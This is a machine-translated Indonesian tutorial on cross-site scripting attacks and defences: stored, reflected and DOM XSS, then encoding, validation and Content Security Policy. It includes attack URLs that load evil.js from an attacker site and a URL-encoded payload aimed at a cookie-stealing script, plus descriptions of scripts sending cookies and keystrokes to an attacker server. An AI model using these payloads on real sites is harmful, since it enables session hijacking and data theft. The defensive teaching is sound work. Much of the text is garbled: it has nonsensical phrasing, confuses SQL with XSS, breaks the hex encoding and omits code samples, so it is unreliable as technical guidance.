Menggunakan kerentanan XSS ke maksimum. Serangan XSS: Apa itu dan apa pelatihan serangan XSS berbahaya

Melalui XSS, penyerang berpengalaman mengintegrasikan ke halaman situs situs yang bekerja pada mereka skrip dilakukan pada saat mengunjungi sumber daya yang terinfeksi. Ada beberapa jenis kerentanan XSS yang mewakili tingkat bahaya yang berbeda.

Fitur kerentanan pasif dan aktif

Paling hati-hati layak untuk mengobati kerentanan aktif. Ketika seorang penyerang mengimplementasikan kode SQL-nya menjadi basis data atau file yang terjangkau ke server, setiap pengunjung sumber daya yang terinfeksi dapat menjadi korban. Tempat-tempat seperti itu sering diintegrasikan, oleh karena itu, bahkan data olahan data yang disimpan dalam database dapat terus mewakili bahaya tertentu.

Menciptakan kerentanan XSS pasif membutuhkan penyerang kecerdikan tertentu. Entah Anda terpikat pada sumber daya kapal selam dengan segala macam referensi, atau mereka berusaha dengan cara apa pun untuk meneruskan situs yang diperlukan. Ini biasanya terjadi melalui surat-surat dari pemberian fiksi halaman yang Anda kunjungi, dengan permintaan untuk memeriksa pengaturan akun. Juga aktif menggunakan berbagai buletin spam atau posting di forum yang banyak dikunjungi.

Kerentanan XSS pasif dapat dilanjutkan dari kedua pos dan dari get-parameter. Untuk yang pertama, sejumlah trik berbeda dikarakterisasi, untuk yang kedua - pengkodean saluran URL adalah memasukkan nilai-nilai tambahan.

Menculik cookie.

Paling sering, itu adalah cookie Anda yang merupakan tujuan dari serangan XSS. Terkadang ada informasi berharga di dalamnya, termasuk login pengguna dan kata sandi atau hash mereka. Tetapi itu cukup berbahaya dan melakukan pencurian sesi aktif situs penting untuk Anda, jadi jangan lupa untuk menekan tombol "output" bahkan ketika mengunjungi situs dari komputer di rumah. Meskipun sebagian besar sumber daya untuk mencegah tindakan tersebut menggunakan pembatasan otomatis durasi sesi. Keterbatasan domain xmlhttprequest dari serangan tersebut tidak menghemat.

Data dari formulir yang diisi

Evoids popularitas dan membaca informasi dalam bentuk yang diisi. Untuk melakukan ini, tentang menyebabkan minat, acara yang sedang berjalan sedang berjalan (onsubmit), dan semua data yang disediakan juga dikirim ke server penyerang. Serangan semacam itu sebagian besar mirip dengan phishing, tetapi pencurian tidak pada saat itu, tetapi di situs nyata dengan reputasi yang baik.

Serangan DDoS terdistribusi

Untuk serangan melalui XSS, sumber daya multi-transmisi digunakan. Berkat kerentanan XSS, permintaan penerusan datang pada mereka ke server yang retak, sebagai akibat dari mana perlindungannya tidak tahan.

Permintaan Intersight Palsu (CSRF / XSRF)

Mereka juga memiliki sedikit kesamaan dengan XSS. Ini adalah berbagai kerentanan yang digunakan bersama dengan XSS. Tujuan mereka adalah untuk membawa pengguna yang berwenang dari situs yang kebal ke halaman rentan kapal selam untuk operasi penipuan. Misalnya, klien yang menggunakan sistem pembayaran elektronik dipikat ke situs rentan yang mentransfer uang ke akun penyusup. Oleh karena itu, dalam sebagian besar sistem pembayaran, perlindungan menyediakan kata sandi tambahan yang dimasukkan atau mengkonfirmasi operasi kode.

Pengenalan cacing XSS

Serangan XSS seperti itu di situs muncul dengan pengembangan jejaring sosial terkenal (Vkontakte, Twitter, dan lainnya). Melalui mereka, seluruh kelompok pengguna menerima tautan XSS yang rentan dengan skrip terintegrasi yang mengirim jaringan spam dari nama mereka. Juga banyak dipraktikkan dan melewati informasi pribadi dan foto-foto tentang sumber daya penyusup.

Contoh xss yang tidak berbahaya

Perhatikan bahwa banyak jenis meter juga melakukan peran XSS aktif. Mereka sedang ditransfer ke data saat mendaftarkan pengunjung (alamat IP mereka, data pada peralatan yang digunakan).

Hanya kode ini yang terintegrasi di komputer Anda sendiri. Untuk XSS serupa lainnya, Anda dapat dengan aman mengaitkan sejumlah permintaan Ajax crossdomain.

Scripting Cross-Site atau xss. Scripting Cross-Site (Eksekusi Scenario Intersight).

Kehadiran kerentanan scripting lintas situs memungkinkan penyerang mengirim kode yang dapat dieksekusi ke server, yang akan diarahkan ke browser pengguna. Kode ini biasanya dibuat dalam HTML / JavaScript, tetapi VBScript, ActiveX, Java, Flash, atau teknologi lain yang didukung oleh browser dapat digunakan.

Kode yang ditransmisikan dijalankan dalam konteks keamanan (atau zona keamanan) dari server yang rentan. Dengan menggunakan hak istimewa ini, kode mendapat kemampuan membaca, memodifikasi atau mengirimkan data penting yang tersedia menggunakan browser. Pada pengguna yang diserang dapat dikompromikan oleh AquinINT (Cookie Theft), browsernya dapat diarahkan ke server lain atau konten server diganti. Sebagai hasil dari serangan yang direncanakan dengan hati-hati, penyerang dapat menggunakan browser korban untuk melihat halaman situs atas nama pengguna yang diserang. Kode dapat ditransmisikan oleh penyerang dalam URL, dalam tajuk utama dan struktur protokol kueri HTTP (cookie, agen pengguna, refferer), nilai bidang formulir, dll.

Ada tiga jenis serangan yang mengarah ke eksekusi lintas skenario: non-persisten tidak permanen (tercermin), konstanta persisten (Disimpan) dan berbasis DOM. Perbedaan utama antara persisten dan non-persisten adalah bahwa dalam versi yang dipantulkan, transmisi server kode dan pengembalian ke kliennya dilakukan dalam satu permintaan HTTP, dan dalam disimpan - berbeda.

Implementasi serangan non-permanen mensyaratkan bahwa pengguna beralih melalui tautan yang dibentuk oleh penyerang (tautan dapat ditransfer melalui email, ICQ, dll.). Dalam proses mengunduh situs, kode yang tertanam dalam URL atau header kueri akan ditransfer ke klien dan dibuat di browsernya.

Variasi yang diawetkan dari kerentanan terjadi ketika kode ditransmisikan ke server dan bertahan untuk beberapa waktu. Target serangan paling populer dalam hal ini adalah forum, surat dengan antarmuka web dan ruang obrolan. Untuk serangan, pengguna tidak harus melalui tautan, cukup untuk mengunjungi situs rentan.

    Contoh. Tersimpan (gigih) opsi serangan. Banyak situs memiliki papan buletin dan forum yang memungkinkan pengguna untuk meninggalkan pesan. Pengguna terdaftar biasanya diidentifikasi berdasarkan nomor

sesi disimpan dalam cookie. Jika penyerang meninggalkan pesan yang berisi kode dalam JavaScript, itu akan menerima akses ke pengidentifikasi sesi pengguna. Contoh Kode Cookie:

    Contoh. Pilihan serangan yang tercermin (tidak persisten). Banyak server memberikan pengguna kemampuan untuk mencari konten server. Sebagai aturan, permintaan ditransmisikan ke URL dan terkandung dalam halaman yang dihasilkan.

Misalnya, saat beralih ke URL http: //portal.example/search? Q \u003d "Bir segar" Pengguna akan ditampilkan halaman yang berisi hasil pencarian dan frasa: "0 halaman ditemukan pada permintaan Anda." Jika Javascript ditransfer sebagai frasa yang diinginkan, itu akan dieksekusi di browser pengguna. Contoh:

Http: //portal.example/search/? Q \u003d

Encoding urlencode dapat digunakan untuk menyembunyikan kode skrip

Http: //portal.example/index.php? SessionID \u003d 12312312 & username \u003d% 3c% 73% 72% 69% 74% 64% 65% 65% 65% 65% 65% 65% 65% 65% 65% 65% 65% % 2e% 6c% 6F% 63% 61% 74% 69% 6F% 6E% 37% 68% 74% 74% 2F% 61% 61% 61% 61% % 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 65% 63% 65% 2F% 67% 69% 6F% 6F% 6 % 6b% 69% 65% 73% 74% 65% 61% 6c% 2e% 63% 67% 3F% 2b% 62% 65% 6E% 6E% 65% 6E% % 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 74% 74% 74% 74%

Flangan David Javascript.

Kutipan dari buku Flangan David JavaScript panduan penuh 5 edisi.

Istilah scripting lintas situs (silang "scripting situs), atau XSS, mengacu pada area kerentanan komputer ketika penyerang memperkenalkan tag HTML atau skrip ke dokumen pada situs web yang rentan. Organisasi perlindungan terhadap serangan XSS - Hal yang umum untuk Webburdenries Dalam pembuatan skenario server. Namun programmer yang mengembangkan skrip javascript klien juga harus tahu tentang serangan XSS dan mengambil langkah-langkah untuk melindungi mereka.

Halaman web dianggap rentan terhadap serangan XSS jika secara dinamis membuat konten dokumen berdasarkan data pengguna yang belum lulus pemrosesan awal untuk menghapus kode HTML bawaan. Sebagai contoh sepele, pertimbangkan halaman web berikut yang menggunakan skrip javascript untuk menyambut pengguna dengan nama:

Di baris kedua skrip, metode window.location.search.substring disebut, dengan bagian mana dari bilah alamat diambil, dimulai dengan simbol?. Kemudian, menggunakan metode Document.Write (), konten dokumen yang dihasilkan secara dinamis ditambahkan. Script ini menunjukkan bahwa mengakses halaman web akan dilakukan oleh sekitar alamat URL seperti:

Http://www.example.com/greet.html?name\u003dDavid.

Dalam hal ini, teks "Hai David" akan ditampilkan. Tetapi apa yang terjadi jika halaman diminta menggunakan alamat URL berikutnya:

Http://www.example.com/greet.html?name\u003d%3cscript%33eAlert ("David ')% 3C / Script% 3e.

Dengan konten seperti itu, skrip alamat URL secara dinamis menghasilkan skrip lain (kode% 3C dan% 3E adalah tanda kurung sudut)! Dalam hal ini, skrip yang dimasukkan hanya menampilkan kotak dialog yang tidak mewakili bahaya apa pun. Tetapi bayangkan kasus seperti itu:

Http: //sitea/greet.html? Nama \u003d% 3cscript src \u003d situs / evil.js% 3e% 3c / skrip% 3e

Scripting lintas situs adalah karena lebih dari satu situs berpartisipasi dalam serangan. Situs B (atau bahkan Situs C) mencakup tautan yang dirancang khusus (mirip dengan hanya ditampilkan) ke situs A, yang berisi skrip dari situs B. Evil.js Script terletak di situs web penyerang B, tetapi sekarang skenario ini ternyata diterapkan di situs A dan dapat melakukan segala sesuatu yang ia senang dengan isi situs A. dia bisa menghapus halaman atau hubungi pelanggaran lainnya dalam situs situs (misalnya, menolak untuk mempertahankan, seperti yang dijelaskan di bagian selanjutnya). Ini mungkin berdampak buruk pada pengunjung situs A. jauh lebih berbahaya sehingga skenario jahat seperti itu dapat membaca isi cookie yang disimpan di situs A (mungkin berisi nomor akun atau informasi pribadi lainnya), dan mengirim data ini kembali ke situs B . Script tertanam bahkan dapat melacak penekanan tombol dan mengirim data ini ke situs B.

Metode universal untuk mencegah XSSS adalah untuk menghapus tag HTML dari semua data asal yang meragukan sebelum menggunakannya untuk secara dinamis membuat konten dokumen. Untuk memperbaiki masalah ini di file yang ditampilkan sebelumnya. HTML, Anda perlu menambahkan baris berikutnya ke skrip, yang dirancang untuk menghapus kurung sudut yang mengelilingi tag". Setiap pengguna yang mengunjungi halaman sekarang akan menerima jawaban berikut:


Komentar terakhir:

Ketika browser pengguna memuat halaman, itu akan melakukan semuanya, termasuk kode javascript yang terkandung di dalam tag . Ini menunjukkan bahwa kehadiran sederhana skrip yang dilaksanakan oleh penyerang adalah masalah, terlepas dari mana kode skrip tertentu sebenarnya dieksekusi.

Bagian Dua: Attack XSS

Peserta Serangan XSS.

Sebelum menggambarkan cara menjelaskan secara rinci bagaimana serangan XSS bekerja, kita perlu mengidentifikasi mata pelajaran serangan XSS. Secara umum, dalam serangan XSS ada tiga peserta: situs web, korban, Aku. pencuri.

  • Situs web Memberikan Halaman HTML untuk pengguna yang memintanya. Dalam contoh kami, terletak di http: // situs web /.
    • Database situs web Ini adalah basis data yang menyimpan beberapa data yang dimasukkan oleh pengguna di halaman situs.
  • Korban - Ini adalah pengguna reguler situs web yang meminta halaman dengan browsernya.
  • Menyerang - Ini adalah penyerang yang berniat untuk memulai serangan bagi korban melalui penggunaan kerentanan XSS di situs.
    • Server Burglar. - Ini adalah server web di bawah kendali penyerang dengan satu-satunya tujuan - pencurian informasi korban rahasia. Dalam contoh kami, terletak di http: // penyerang /.

Contoh Skenario Attack.

Script ini akan membuat permintaan HTTP ke URL lain, yang akan mengarahkan ulang browser pengguna ke server penyerang. URL tersebut mencakup cookie korban sebagai parameter kueri ketika permintaan HTTP datang ke server penyerang, penyerang dapat mengekstraksi cookie ini dari permintaan. Setelah penyerang menerima cookie, ia dapat menggunakannya untuk memberikan dirinya untuk pengorbanan dan memulai serangan selanjutnya.

Dari titik ini pada kode HTML yang ditunjukkan di atas akan disebut string jahat. atau skrip jahat.. Penting untuk dipahami bahwa string itu sendiri jahat hanya jika pada akhirnya diproses sebagai kode HTML di browser korban, dan ini mungkin terjadi hanya jika kerentanan XSS tersedia di situs web.

Bagaimana cara kerja contoh ini

Skema di bawah ini menunjukkan contoh serangan oleh penyerang:

  1. Penyerang menggunakan salah satu bentuk situs web untuk memasukkan string jahat ke basis data situs web.
  2. Korban menanyakan halaman dari situs web.
  3. Situs ini mencakup string jahat dari basis data sebagai respons dan mengirimkannya kepada korban.
  4. Browser korban melakukan skenario jahat dalam jawaban, mengirim korban ke server penyerang.

Jenis XSS.

Tujuan dari serangan XSS selalu dalam melakukan skrip JavaScript berbahaya di browser korban. Ada beberapa cara yang berbeda secara fundamental untuk mencapai tujuan ini. Serangan XSS sering dibagi menjadi tiga jenis:

  • Disimpan (permanen) xssDi mana string jahat berasal dari basis data situs web.
  • XSS tercermin (tidak permanen)di mana string jahat dihasilkan dari permintaan korban.
  • XSS DOM Models.Di mana kerentanan terjadi pada kode di sisi klien, dan bukan di sisi kode server.

Dalam contoh sebelumnya, serangan XSS yang disimpan ditampilkan. Sekarang kami menjelaskan dua jenis serangan XSS lainnya: mencerminkan model DOM XSS dan XSS-Attack.

XSS mencerminkan.

Dalam kasus serangan XSS tercermin, string jahat adalah bagian dari permintaan korban ke situs web. Situs menerima dan menyisipkan string jahat ini kepada pengguna yang dikirim ke pengguna. Skema di bawah ini menggambarkan skrip ini:

  1. Korban secara curang mengirimkan permintaan URL ke situs web.
  2. Situs ini mencakup string jahat dari kueri URL sebagai respons terhadap korban.
  3. Browser korban melakukan skenario jahat yang terkandung dalam jawaban, mengirim korban ke server penyusup.

Bagaimana cara berhasil melakukan serangan XSS yang dipantulkan?

Serangan XSS yang dipantulkan mungkin tampak tidak berbahaya, karena menuntut korban dari namanya untuk mengirim permintaan yang berisi string jahat. Karena tidak ada yang akan menyerang secara sukarela sendiri, tampaknya tidak ada cara untuk eksekusi serangan yang sebenarnya.

Ternyata, setidaknya ada dua cara umum untuk melakukan pengorbanan untuk memulai serangan XSS yang dipantulkan terhadap dirinya sendiri:

  • Jika pengguna adalah kepribadian spesifik, penyerang dapat mengirim URL jahat kepada korban (misalnya, menggunakan email atau messenger), dan menipu untuk memaksanya untuk membuka tautan untuk mengunjungi situs web.
  • Jika suatu tujuan adalah kelompok besar pengguna, penyerang dapat mempublikasikan tautan ke URL jahat (misalnya, di situs webnya sendiri atau di jejaring sosial) dan menunggu pengunjung yang akan naik tautan.

Kedua metode ini serupa, dan keduanya mungkin lebih berhasil menggunakan layanan untuk "mempersingkat" URL, mereka menyamarkan string jahat dari pengguna yang dapat mengidentifikasinya.

XSS dalam model DOM

XSS dalam model DOM adalah opsi sebagai serangan XSS yang disimpan dan dipantulkan. Dalam serangan XSS ini, string jahat tidak diproses oleh browser korban, sampai JavaScript nyata dari situs web dijalankan. Skema di bawah ini menggambarkan skrip ini untuk serangan XSS tercermin:

  1. Penyerang menciptakan URL yang berisi string jahat dan mengirimkannya kepada korban.
  2. Korban penipuan oleh penyerang mengirimkan permintaan URL ke situs web.
  3. Situs ini menerima permintaan, tetapi tidak termasuk string jahat sebagai tanggapan.
  4. Browser korban melakukan skrip yang sah yang terkandung dalam respons, sebagai akibat dari mana skrip berbahaya akan dimasukkan ke dalam halaman.
  5. Browser korban melakukan skrip jahat yang dimasukkan ke dalam halaman, mengirim cookie korban ke server penyusup.
Apa perbedaan antara XSS dalam model DOM?

Dalam contoh-contoh sebelumnya dari serangan XSS yang disimpan dan dipantulkan, server memasukkan skrip jahat ke halaman, yang kemudian dikirim sebagai respons terhadap korban. Ketika browser korban menerima jawaban, ia mengasumsikan bahwa skrip jahat adalah bagian dari kandungan yang sah dari halaman, dan secara otomatis melakukannya selama pemuatan halaman, serta skenario lainnya.

Dalam contoh serangan XSS dalam model DOM, skrip jahat tidak dimasukkan sebagai bagian dari halaman; Satu-satunya skrip yang secara otomatis dieksekusi selama beban halaman adalah bagian yang sah dari halaman. Masalahnya adalah bahwa skenario sah ini langsung menggunakan entri pengguna untuk menambahkan HTML ke halaman. Karena string jahat dimasukkan ke dalam halaman menggunakan innerhtml, dianalisis sebagai HTML, sebagai akibat dari mana skrip berbahaya akan dilakukan.

Perbedaan ini kecil, tetapi sangat penting:

  • Dalam XSS tradisional, JavaScript berbahaya dilakukan ketika halaman dimuat, sebagai bagian dari HTML yang dikirim oleh server.
  • Dalam kasus XSS dalam model DOM, JavaScript berbahaya dilakukan setelah memuat halaman, sebagai hasilnya, halaman ini dengan JavaScript yang sah disebut sebagai cara yang tidak aman untuk input pengguna (berisi string jahat).
Bagaimana XSS bekerja dalam model DOM?

Dalam contoh sebelumnya, tidak perlu javascript; Server dapat menghasilkan semua html dengan sendirinya. Jika kode di sisi server tidak mengandung kerentanan, situs web tidak akan dikenakan kerentanan XSS.

Namun, karena aplikasi web menjadi lebih maju, jumlah Halaman HTML yang meningkat dihasilkan menggunakan Javascript di sisi klien, dan tidak di server. Kapan saja, konten harus berubah tanpa memperbarui seluruh halaman, dimungkinkan menggunakan JavaScript. Secara khusus, ini adalah kasus ketika halaman diperbarui setelah kueri Ajax.

Ini berarti bahwa kerentanan XSS dapat hadir tidak hanya di bagian server dari kode situs Anda, tetapi juga di sisi kode JavaScript klien situs Anda. Akibatnya, bahkan dengan kode yang sepenuhnya aman di sisi server, kode klien masih dapat diaktifkan dengan aman untuk memasukkan data pengguna saat memperbarui dom setelah mengunduh halaman. Jika ini terjadi, kode dari klien akan memungkinkan serangan XSS bukanlah kesalahan kode dari sisi server.

XSS berdasarkan model DOM dapat tidak terlihat oleh server

Ada kasus khusus dari serangan XSS dalam model DOM di mana string jahat tidak pernah dikirim ke server situs web: ini terjadi ketika string jahat terkandung dalam fragmen pengidentifikasi URL (sesuatu setelah simbol #). Browser tidak mengirim bagian URL ini ke server, sehingga situs web tidak memiliki akses ke penggunaan kode di sisi server. Namun, kode dari klien memiliki akses ke sana, dan dengan demikian dimungkinkan untuk melakukan serangan XSS dengan pemrosesan yang tidak aman.

Kasus ini tidak terbatas pada pengidentifikasi fragmen. Ada juga input pengguna lain yang tidak terlihat oleh server, misalnya, fungsi HTML5 baru, seperti localstorage dan indexeddb.

Bagian ketiga:
Pencegahan XSS

Metode Pencegahan XSS.

Ingat bahwa XSS adalah serangan dari jenis penyebaran kode: Pengguna yang dimasukkan oleh pengguna secara keliru ditafsirkan sebagai kode program jahat. Untuk mencegah jenis injeksi kode ini, diperlukan pemrosesan input yang aman. Untuk pengembang web, ada dua cara yang berbeda secara fundamental untuk melakukan pemrosesan input yang aman:

  • Pengkodean - Ini adalah cara yang memungkinkan Anda memasukkan data oleh pengguna hanya sebagai data dan tidak memungkinkan pemrosesan browser sebagai kode.
  • Validasi. - Metode ini memfilter input pengguna sehingga browser menafsirkannya sebagai kode tanpa perintah jahat.

Meskipun ini merupakan metode yang berbeda secara fundamental untuk mencegah XSS, mereka memiliki beberapa sifat umum yang penting untuk memahami saat menggunakan salah satu dari mereka:

Konteks Pemrosesan input yang aman harus dibuat berbeda tergantung pada di mana input pengguna digunakan pada halaman. Pemrosesan input aman yang masuk / keluar dapat dilakukan baik ketika situs Anda menerima data input (lalu lintas masuk) atau langsung sebelum situs memasukkan entri khusus ke dalam konten halaman (keluar). Pemrosesan input klien / server yang aman dapat dilakukan di sisi klien atau di sisi server, setiap opsi diperlukan dalam keadaan yang berbeda.

Sebelum menjelaskan dalam detail bagaimana cara kerja pengkodean dan validasi, kami menjelaskan masing-masing item ini.

Memproses input pengguna dalam konteks

Ada banyak konteks di halaman web di mana input khusus dapat diterapkan. Aturan khusus harus dipenuhi untuk masing-masing dari mereka sehingga input pengguna tidak dapat "keluar" dari konteksnya dan tidak dapat diartikan sebagai kode berbahaya. Di bawah ini adalah konteks yang paling umum:

Apa arti konteksnya?

Dalam semua konteks yang dijelaskan, kerentanan yang mengarah ke XSS dapat terjadi jika pengguna yang dimasukkan oleh pengguna telah dimasukkan ke pengkodean atau validasi pertama. Seorang penyerang dapat memperkenalkan kode berbahaya hanya memasukkan pemisah penutup untuk konteks ini dan setelah itu kode berbahaya.

Misalnya, jika pada titik tertentu situs web mencakup entri data oleh pengguna langsung ke atribut HTML, penyerang akan dapat menerapkan skrip jahat dengan memulai input kutipan seperti yang ditunjukkan di bawah ini:

Ini dapat dicegah, cukup menghapus semua kutipan dalam input pengguna, dan semuanya akan baik-baik saja, tetapi hanya dalam konteks ini. Jika input dimasukkan ke dalam konteks lain, pemisah penutup akan berbeda dan injeksi akan menjadi mungkin. Untuk alasan ini, pemrosesan input yang aman harus selalu diadaptasi dengan konteks di mana input pengguna akan dimasukkan.

Memproses input pengguna yang masuk / keluar

Naluriah, mungkin terlihat bahwa XSS dapat dicegah dengan mengkodekan atau memvalidasi seluruh input pengguna, segera setelah situs kami menerimanya. Dengan demikian, setiap garis jahat akan dinetralkan setiap kali mereka dimasukkan dalam halaman, dan skrip generasi HTML tidak harus mengurus pemrosesan input pengguna yang aman.

Masalahnya adalah yang sebelumnya dijelaskan oleh pengguna yang dimasukkan oleh pengguna dapat dimasukkan ke dalam beberapa konteks pada halaman. Dan tidak ada cara sederhana untuk menentukan kapan input pengguna hadir dalam konteks - karena pada akhirnya akan dimasukkan, dan input pengguna yang sama harus sering dimasukkan dalam konteks yang berbeda. Mengandalkan pemrosesan input masuk untuk mencegah XSS, kami membuat solusi yang sangat rapuh yang akan dikenakan kesalahan. (Kutipan Magic "PHP yang usang adalah contoh dari solusi seperti itu.)

Sebaliknya, pemrosesan input keluar harus garis perlindungan utama Anda dari XSS, karena dapat memperhitungkan konteks tertentu, yang dimasukkan pengguna dengan pengguna akan dimasukkan. Hingga taraf tertentu, validasi masuk dapat digunakan untuk menambahkan lapisan perlindungan sekunder, tetapi ini nanti.

Di mana dimungkinkan untuk melakukan pemrosesan input pengguna yang aman

Dalam sebagian besar aplikasi web modern, entri pengguna diproses baik di sisi kode server dan di sisi kode klien. Untuk melindungi dari semua jenis XSS, pemrosesan input yang aman harus dieksekusi baik dalam kode di sisi server dan sisi kode klien.

  • Untuk melindungi dari XSS tradisional, pemrosesan input yang aman harus dilakukan dalam kode di sisi server. Ini dilakukan dengan bahasa yang didukung oleh server.
  • Untuk melindungi terhadap serangan XSS pada model DOM, di mana server tidak pernah menerima string jahat (misalnya, serangan yang dijelaskan sebelumnya melalui fragmen pengidentifikasi), pemrosesan input yang aman harus dilakukan dalam kode klien. Ini dilakukan dengan JavaScript.

Sekarang, ketika kami menjelaskan mengapa konteksnya penting, mengapa perbedaan antara pemrosesan input yang masuk dan keluar adalah penting, dan mengapa pemrosesan input yang aman harus dilakukan di kedua sisi, dan di sisi klien dan di sisi server, kami dapat terus menjelaskannya Bagaimana dua jenis pemrosesan input aman (pengkodean dan validasi) sebenarnya dilakukan.

Pengkodean

Coding adalah jalan keluar dari situasi ketika perlu bahwa browser masuk pengguna menginterpretasikan hanya sebagai data, dan bukan kode. Jenis pengkodean yang paling populer dalam pengembangan web adalah HTML masking yang mengubah karakter seperti < dan > di < dan > masing-masing.

Pseudocode berikut adalah contoh bagaimana pengguna yang dimasukkan oleh pengguna (masukkan khusus) dapat dikodekan menggunakan masking HTML dan kemudian dimasukkan ke halaman menggunakan skenario server:

cetak " "
Mencetak "Komentar terakhir:"
Cetak EncodeHTML (userinput)
Cetak ""

Jika pengguna memasuki baris berikut HTML yang dihasilkan akan terlihat seperti ini:


Komentar terakhir:

Karena semua simbol dengan nilai-nilai khusus disamarkan, browser tidak akan membongkar bagian mana pun dari input pengguna sebagai HTML.

Kode pengkodean di sisi klien dan server

Saat mengkodekan kode kode dari klien, bahasa JavaScript selalu digunakan, yang memiliki fungsi bawaan yang mengkodekan data untuk konteks yang berbeda.

Saat melakukan pengkodean dalam kode Anda di sisi server, Anda mengandalkan fitur yang tersedia dalam bahasa atau kerangka kerja Anda. Karena sejumlah besar bahasa dan kerangka kerja yang tersedia, tutorial ini tidak akan mencakup detail pengkodean di server atau kerangka kerja tertentu. Namun demikian, fungsi pengkodean JavaScript yang digunakan pada sisi klien juga digunakan saat menulis kode di sisi server.

Pengkodean di sisi klien

Saat mengkodekan input klien khusus menggunakan JavaScript, ada beberapa metode dan properti bawaan yang secara otomatis menyandikan semua data dalam gaya bergantung kontekstual:

Konteks terakhir yang telah disebutkan di atas (nilai dalam JavaScript) tidak termasuk dalam daftar ini, karena JavaScript tidak menyediakan metode pengkodean data bawaan, yang akan diaktifkan dalam kode sumber JavaScript.

Pembatasan pengkodean

Bahkan ketika pengkodean dimungkinkan untuk menggunakan garis jahat dalam beberapa konteks. Contoh cerah dari ini adalah ketika entri pengguna digunakan untuk memberikan URL, misalnya, dalam contoh di bawah ini:

document.queryselector ("A"). Href \u003d userinput

Meskipun nilai yang ditentukan dalam properti Elemen HREF secara otomatis mengkodekannya sehingga tidak lebih dari nilai atribut, ini sendiri tidak mengganggu penyerang memasukkan URL yang dimulai dengan "Javascript:". Ketika Anda mengklik tautan, terlepas dari konstruksi, Javascript bawaan di dalam URL akan dieksekusi.

Coding juga bukan solusi yang efektif ketika Anda ingin pengguna menggunakan bagian dari kode HTML pada halaman. Contohnya adalah halaman profil pengguna, di mana pengguna dapat menggunakan html pengguna. Jika HTML biasa ini dikodekan, halaman profil akan dapat hanya terdiri dari teks sederhana.

Dalam situasi seperti itu, pengkodean harus dilengkapi dengan validasi yang akan kita ketahui lebih lanjut.

Validasi.

Validasi adalah tindakan memfilter input pengguna sehingga semua bagian jahat dihilangkan tanpa perlu menghapus seluruh kode di dalamnya. Salah satu jenis verifikasi yang paling banyak digunakan dalam pengembangan web memungkinkan Anda untuk menggunakan beberapa elemen HTML (misalnya, dan ) Tapi melarang orang lain (misalnya,

Dengan kebijakan CSP tertentu yang baik, browser tidak dapat mengunduh dan menjalankan script.js jahat karena http: // penyerang / tidak ditentukan sebagai sumber yang dapat diandalkan. Meskipun situs gagal memproses entri pengguna dengan aman dalam hal ini, kebijakan CSP mencegah kerentanan dan menyebabkan kerusakan.

Bahkan jika penyerang disuntikkan oleh kode di dalam kode skenario, dan tidak dengan mengacu pada file eksternal, kebijakan CSP yang dikonfigurasi dengan benar juga akan menonaktifkan injeksi ke dalam kode JavaScript yang mencegah kerentanan dan menyebabkan kerusakan.

Bagaimana cara mengaktifkan CSP?

Secara default, browser tidak menggunakan CSP. Untuk mengaktifkan SCP di situs web Anda, halaman harus berisi header HTTP tambahan: kebijakan konten-keamanan. Setiap halaman yang berisi judul ini akan menerapkan kebijakan keamanan saat mem-boot browser, asalkan browser mendukung CSP.

Karena kebijakan keamanan dikirim dengan setiap respons HTTP, dimungkinkan untuk secara individual menginstal kebijakan di server secara individual untuk setiap halaman. Kebijakan yang sama dapat diterapkan ke seluruh situs web, memasukkan header CSP yang sama dalam setiap respons.

Konten dalam header kebijakan keamanan konten berisi string yang mendefinisikan satu atau lebih kebijakan keamanan yang akan berfungsi di situs Anda. Sintaks dari string ini akan dijelaskan di bawah ini.

Contoh header Bagian ini menggunakan transfer baris dan indentasi untuk kesederhanaan persepsi; Mereka seharusnya tidak hadir di header saat ini.

Sintaks CSP.

Sintaks header CSP terlihat seperti ini:

Kebijakan Keamanan Konten:
pengarahan ekspresi sumber., ekspresi sumber., ...;
pengarahan ...;
...

Sintaks ini terdiri dari dua elemen:

  • Arahan (Arahan) Menyajikan garis yang menunjukkan jenis sumber daya yang diambil dari daftar yang ditentukan.
  • Ekspresi sumber. Ini adalah model yang menggambarkan satu atau lebih server dari mana sumber daya dapat diunduh.

Untuk setiap arahan, data dalam ekspresi sumber menentukan sumber mana yang dapat digunakan untuk memuat sumber daya jenis yang sesuai.

Pengarahan

Arahan berikut dapat digunakan di header CSP:

  • hubungkan-src.
  • font-src.
  • bingkai-src.
  • img-src.
  • media-src.
  • objek-src.
  • script-SRC.
  • gaya-src.

Selain itu, default khusus khusus-SRC dapat digunakan untuk memastikan nilai default untuk semua arahan yang tidak termasuk dalam judul.

Ekspresi sumbernya

Sintaks untuk membuat ekspresi sumber adalah sebagai berikut:

protokol: // Nama Host: Nomor port

Nama host dapat dimulai dengan *, ini berarti bahwa setiap subdomain dari nama host yang disediakan akan diselesaikan. Demikian pula, nomor port dapat diwakili sebagai *, ini berarti bahwa semua port akan diselesaikan. Selain itu, nomor protokol dan port dapat dilewatkan. Jika protokol tidak ditentukan, kebijakan tersebut akan membutuhkan semua sumber daya untuk dimuat menggunakan HTTPS.

Selain sintaks di atas, ekspresi sumber dapat menjadi salah satu dari empat kata kunci dengan nilai khusus (termasuk kutipan) sebagai alternatif:

"Tidak ada" melarang sumber daya. "Diri" memungkinkan sumber daya dari host di mana halaman web berada. "Tidak aman-inline" memungkinkan sumber daya yang terkandung pada halaman sebagai built-in